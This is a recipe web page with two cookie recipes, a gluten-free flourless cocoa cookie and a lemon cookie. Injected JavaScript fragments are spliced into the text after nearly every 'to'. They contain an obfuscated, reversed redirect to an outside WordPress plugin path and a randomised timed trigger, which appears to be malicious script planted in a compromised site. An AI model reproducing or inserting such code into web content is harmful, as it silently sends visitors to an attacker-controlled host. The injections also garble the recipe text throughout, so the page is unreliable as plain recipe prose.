Cookie Recipes for Lazy Cooks

If you do not like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to spend much time in the kitchen, consider adding these two cookie recipes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your cookbook. The perfect taste is guaranteed. Enjoy!

 

Gluten-Free Flourless Cocoa Cookies

Ingredients for 22 cookies:

  • 3 large eggs
  • 3 cups powdered sugar
  • One and quarter cups unsweetened cocoa powder
  • Half teaspoon ground cinnamon
  • Quarter teaspoon fine sea salt
  • One and half teaspoons vanilla extract
  • 1 cup bittersweet chocolate chunks
  • Maldon salt, for sprinkling

 

Process:

  1. Preheat the oven toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 350°F / 175°C with racks in the upper and lower thirds. Line two baking sheets with parchment paper.
  2. In a medium bowl, lightly whisk the eggs.
  3. Sift toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together the powdered sugar, cocoa powder, cinnamon, and salt. Add toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the eggs, whisking until the mixture forms a smooth batter, about 1 minute. The batter will be very thick and sticky.
  4. Use a 2-tablespoon scoop toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to portion the batter ontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the prepared baking sheets – stagger the cookies. Sprinkle a little Maldon salt on each cookie.
  5. Bake the cookies 10 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 12 minutes.

 

Lemon Cookies

Ingredients for 18 cookies:

  • 2 cups flour
  • 1/2 teaspoon baking soda
  • 1/4 teaspoon salt
  • 1/2 cup unsalted butter melted and cooled
  • 1 cup granulated sugar
  • 1 large egg
  • 1 large egg yolk
  • 2 tablespoons freshly squeezed lemon juice
  • 3 teaspoons freshly grated lemon zest
  • 1 teaspoon vanilla extract
  • 1 teaspoon lemon extract
  • powdered sugar for coating

 

Process:

  1. Mix toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together the flour, baking soda and salt and set aside.
  2. In a large bowl, add the melted butter and whisk in the sugar until smooth. Add in the egg and egg yolk, mixing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to combine, then whisk in vanilla and lemon extracts, lemon juice and lemon zest. Stir in dry ingredients, mixing until a dough forms. If needed, use your hands toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bring toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together the dough. Refrigerate for 2 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 4 hours.
  3. Preheat the oven toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 325 degrees F.
  4. Roll the dough intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 1-inch balls and roll it in the powdered sugar, coating completely. Bake for 10 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 12 minutes.

Source: purewow.com